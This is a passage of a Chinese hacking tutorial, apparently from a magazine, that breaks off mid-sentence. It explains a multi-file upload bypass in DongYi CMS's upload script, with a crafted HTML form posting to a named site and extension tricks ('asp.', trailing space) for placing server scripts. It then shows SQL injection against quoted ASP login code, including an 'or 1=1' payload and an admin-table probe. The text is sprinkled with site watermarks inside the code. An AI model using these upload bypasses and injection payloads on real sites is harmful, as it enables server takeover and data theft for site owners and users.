1、动易文章
      2005.10期中的《再现昔日漏洞——沁竹音乐程序的疏忽》，所涉及的上传漏洞就是动易的上传漏洞，下面以此为例，来看一下其上传文件Upfile_Article.asp中的部分源码：
<%
Const UpFileType=”rar|gif|jpg|bmp|swf|mid|mp3″ ‘//允许的上传文件类型jmdcw
Const SaveUpFilesPath=”../../UploadFiles”         ‘//存放上传文件的目录，注：以上两个常量均在config.asp文件内定义’刺猬测试代码
dim upload,oFile,formName,SavePath,filename,fileExt //变量定义
……………………
FoundErr=false      ‘//此为是否允许上传的变量，初始化为假，表示可以上传。
EnableUpload=false     ‘//此为上传文件扩展名是否合法的变量，初始化为假，表示的是不合法。
SavePath = SaveUpFilesPath     ‘//存放上传文件的目录
……………………
sub upload_0()      ‘//使用化境无组件上传
set upload=new upfile_class ‘//建立上传对象
……………………
for each formName in upload.file ‘//用For循环读取上传的文件。 jmdcw
set ofile=upload.file(formName) ‘//生成一个文件对象
……………………
fileExt=lcase(ofile.FileExt) ‘//将扩展名转换为小写字符
arrUpFileType=split(UpFileType,”|”) ‘//读取后台定义的允许的上传扩展名
for i=0 to ubound(arrUpFileType)     ‘//第一关，用FOR循环读取arrUpFileType数组。
if fileEXT=trim(arrUpFileType(i)) then     ‘//如果fileEXT是允许上传的扩展名
EnableUpload=true     ‘//EnableUpload为真，表示该文件合法。
exit for
end if
next<
br>if fileEXT=”asp” or fileEXT=”asa” or fileEXT=”aspx” then ‘// 第二关，验证fileEXT是否为asp、asa、aspx扩展名。
EnableUpload=false     ‘//如果属于这三项之一，那么EnableUpload就定义为假，上传文件扩展名不合法。jm
end if
if EnableUpload=false then ‘// 第三关，验证关。如果传递到此的EnableUpload变量为假，则说明上传文件扩展名不合法。
msg=”这种文件类型不允许上传！\n\n只允许上传这几种文件类型：” & UpFileType
FoundErr=true ‘//注意：因为文件名不合法，就更改了FoundErr值，由初始的false改为true。
end if
strJS=”<SCRIPT language=javascript>” & vbcrlf
if FoundErr<>true then     ‘//第四关，上传关。如果FoundErr不等于true才可以上传。
randomize
ranNum=int(900*rnd)+100
filename=SavePath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&”.”&fileExt     ‘//定义filename，其值为固定的路径名+年月日及随机值生成的名称+传递过来的fileExt扩展名。
ofile.SaveToFile Server.mappath(FileName)     ‘//保存文件 cw’s
msg=”上传文件成功！”
……………………
next
set upload=nothing
end sub    
%>
      在这段源码中，用到了两个FOR循环、两个逻辑变量，第一个FOR循环“for each formName in upload.file”用于取得所有上传的文件名；第二个FOR循环“for i=0 to ubound(arrUpFileType) ”用于检测文件扩展名。而两个逻辑变量是EnableUpload和FoundErr，EnableUpload用于表示文件扩展名的合法性，True表示合法；而FoundErr则用于表示文件是否可以上传，False表示可以上传，很奇怪？用的是False！如果我们上传的是一个文件，那此段代码是无懈可击的，但要上传两个呢？因为化境无组件上传可以上传多个文件，OK！来看一下上传多个文件的流程：
      首先，构造一个有两个上传框的本地HTM文件，HTM代码如下：
<form action=”http://www.jmdcw.com/admin/Article/Upfile_AdPic.asp” method=”post” name=”form1″>
<input name=”FileName1″ type=”FILE” class=”tx1″ size=”40″>
<input name=”FileName” type=”FILE” class=”tx1″ size=”40″>
<input type=”submit” name=”Submit” value=”上传” >
</form>
      运行这个HTM，在第一个框内选择一个jpg图片，文件名为“111.jpg”，在第二个框内选择一个Cer文件，文件名为“222.cer”，点“上传”把这两个文件提交给程序。接下来到Upfile_AdPic.asp中观察这两个文件的上传流程（注意其中逻辑变量的变化）。
      1、在进入第一个FOR（读取文件名）之前，程序先将变量FoundErr定义为false、EnableUpload定义为false，然后读取文件名，先验证第一个文件111.jpg，在验证的第一关中，jpg属于允许上传的类型，变量EnableUpload=true。
      2、接着到第二关，检验是否属于三种禁传类型，因为不属于，变量EnableUpload仍为true。
      3、再到第三关卡，如果EnableUpload=false，那么FoundErr=true，而前面传递来的EnableUpload=true，那FoundErr仍为进入第一个FOR循环之前的false。
      4、最后进入第四关，此关的验证是：如果FoundErr<>true就可以通过，看一下从第三关传递过来的FoundErr的值，是false，可以上传。这里请注意，在111.jpg上传后，EnableUpload的值保持为true，FoundErr的值是false。
      5、接着程序读取第二个文件222.cer，进入第一关验证是否为允许上传类型，如果cer属于此范围就给EnableUpload定义为true，而cer不属于，所以就保持原值，EnableUpload的原值是什么？看一下111.jpg上传后的变量值：“EnableUpload的值保持为true”，那么此时cer文件的EnableUpload值就是true了。
      6、再到第二关，cer同样不属于此限制范围，又跳过IF语句，再看EnableUpload的值，仍保持为true。
      7、又到第三关了，因为EnableUpload=true，又跳过了此关验证。直接进入第四关，这时回头看一下FoundErr的值，自cer进行上传验证开始，一直未出现FoundErr，FoundErr的值是什么？呵呵，它还是111.jpg上传后的值false，而第四关的验证就是只要FoundErr不是true就可以上传，所以，这个cer文件也就通过了层层关卡，进入了服务器。
     除了cer格式的，还可以上传asp□（□在这里表示空格，以下同）、asp.格式的文件，方法很简单，就是把上传框中的asp名称加入空格或小数点，因为是asp□、asp.格式，其绕过方式和cer是一样的，而上传到服务器中的asp□或asp.的扩展名，因为Windows文件命名原则，会去除后面的空格和小数点，保存的就是asp格式了。

       一、注入点的查找

说到Request，这个是ASP程序中的一个内建对象，怎么？不懂？那就跟我先来恶补一下吧！它是用来获取客户端信息的，有五种方法，而会出现注入点的一般有以下三种：

       1、Request.QueryString：取得客户端提交的信息。当Form以Get方法提交信息，或是直接在URL中提交变量值时，在服务器端接收数据时采用的就是这种方法。
       2、Request.Form：同样也是取得客户端提交的信息，但它接收的是Form以Post方法提交的信息。
       3、Request.Cookies：取得客户端浏览器的Cookies信息。Cookies就是小甜饼，指的是一些私人信息，如用户名、密码之类的信息。

       有些程序员为了减少错误，对于前两种信息的获取，会采用Request来取得客户端提交的信息，这种方法，虽然可以通吃Request.QueryString和Request.Form的提交信息，但如果过滤的不好，就会被漏洞反咬一口。

       了解过一些Request的知识后，下面就在“查找”中输入“request”进行搜索，OK！当找到上面所列的三项Request语句后，再来看一下程序对这些Request语句是否做了过滤，比如ID值是否用INT过滤，例：id=int(request(“id”))；字符串值是否用replace()或instr()等函数进行过滤单引号或一些特殊字符，例：username=replace(request(“username”),”‘”,”")；或者程序是否采用本身的一些过滤函数来过滤这些提交值。从查找到这句request参数起，一直到SQL语句中使用这个提交值至，如果中间没有上面的层层关卡，那么，一个注入点，基本上就算是出现了。

       说到SQL语句，不能不提到以下几个常用的语句：
       1、查询语句：SELECT [(<字段名1> [,<字段名2>, ...])] FROM <表名JMDCW> [WHERE <条件表达式> [AND|OR <条件表达式>...]
       2、更新语句：UPDATE <表名JMDCW> SET 列名1 = 常量表达式1[,列名2 = 常量表达式2 ...] WHERE <条件表达式> [AND|OR <条件表达式>...]
       3、删除语句：DELETE FROM〈表名JMDCW〉[WHERE <条件表达式> [AND|OR <条件表达式>...]]

       下面用“蚂蚁影院3.0”版注销用户(wantlogin.asp)中的一段源码来做一下介绍：
<%
if request(“userid1″)<>”" then ‘刺猬的研究代码
set rst=server.createobject(“adodb.recordset”)
sql=”select money,online from users where userid=’”&request(“userid1″)&”‘ and password=’”&md5(request(“pws”))&”‘”
rst.open sql,conn,1,3
if rst.eof and rst.bof then
response.write”<script>alert(‘用户名或密码错误！’);history.back();</Script>”
else
response.write”<script>alert(‘恢复成功你现在可以登陆！’);</Script>”
response.write”<script Language=Javascript>location.href = ‘index.asp’;</script>”
rst.close
set rst=nothing
conn.close
set conn=nothing
end if
end if
%>
       在其流程中，首先判断取得的提交值userid1是否为空，不为空的话就进入SQL语句中，验证取得的用户名及密码是否和数据库内的用户名及密码一致，如果不一致，则弹出“用户名及密码错误”窗口，否则，就弹出“恢复成功”的窗口。这也是一段典型的注入漏洞源码，并且，接收的方式还是使用的request，这就给我们提交注入语句提供了最大的方便。如果我们在URL地址中提交如下字符：http://127.0.0.1/wantlogin.asp?userid1=aa&pws=bb，因为没有aa这个用户，那么就会弹出错误窗口，而如果我们将aa换成如下字符：aa’ or　1=1 or ‘1′=’1，pws保持不变，这样提交的语句到了SQL语句中就成了如下语句：
select money,online from users where userid1=’aa’ or 1=1 or ‘1′=’1′ and password=’md5(bb)’，以往我们所见到的测试代码一般为“or 1=1”，而这里却多用了一个 or ，为什么要多用一个or呢？解释一下，在逻辑运算符中，and的优先级别高于or ，程序运行后会先运算后面的’1′=’1′ and password=’md5(bb)’，因为密码是随便输入的，所以and后的password值为假，而and前的’1′=’1′虽然为真，但真and假＝假，所以，这个and的运算值为假，再来看or运算，因为前面的用户名也是不存在的，其值当然为假，如此一来，where后的逻辑运算就成了如下表达式：假or真or假，结果值还是为真，这样就会弹出“恢复成功”窗口，如果将其中的or 1=1 改为or 1=2，那逻辑表达式则成了：假or假or假，值当然也为假，弹出的就是“用户名或密码错误”的窗口。这样，根据弹出窗口的不同，我们就可以构造一些特殊字符，然后猜测出需要的数据了，比如查询管理员ID的语句，将or后的1=1更改为： 1=(Select top 1 id from admin)，这里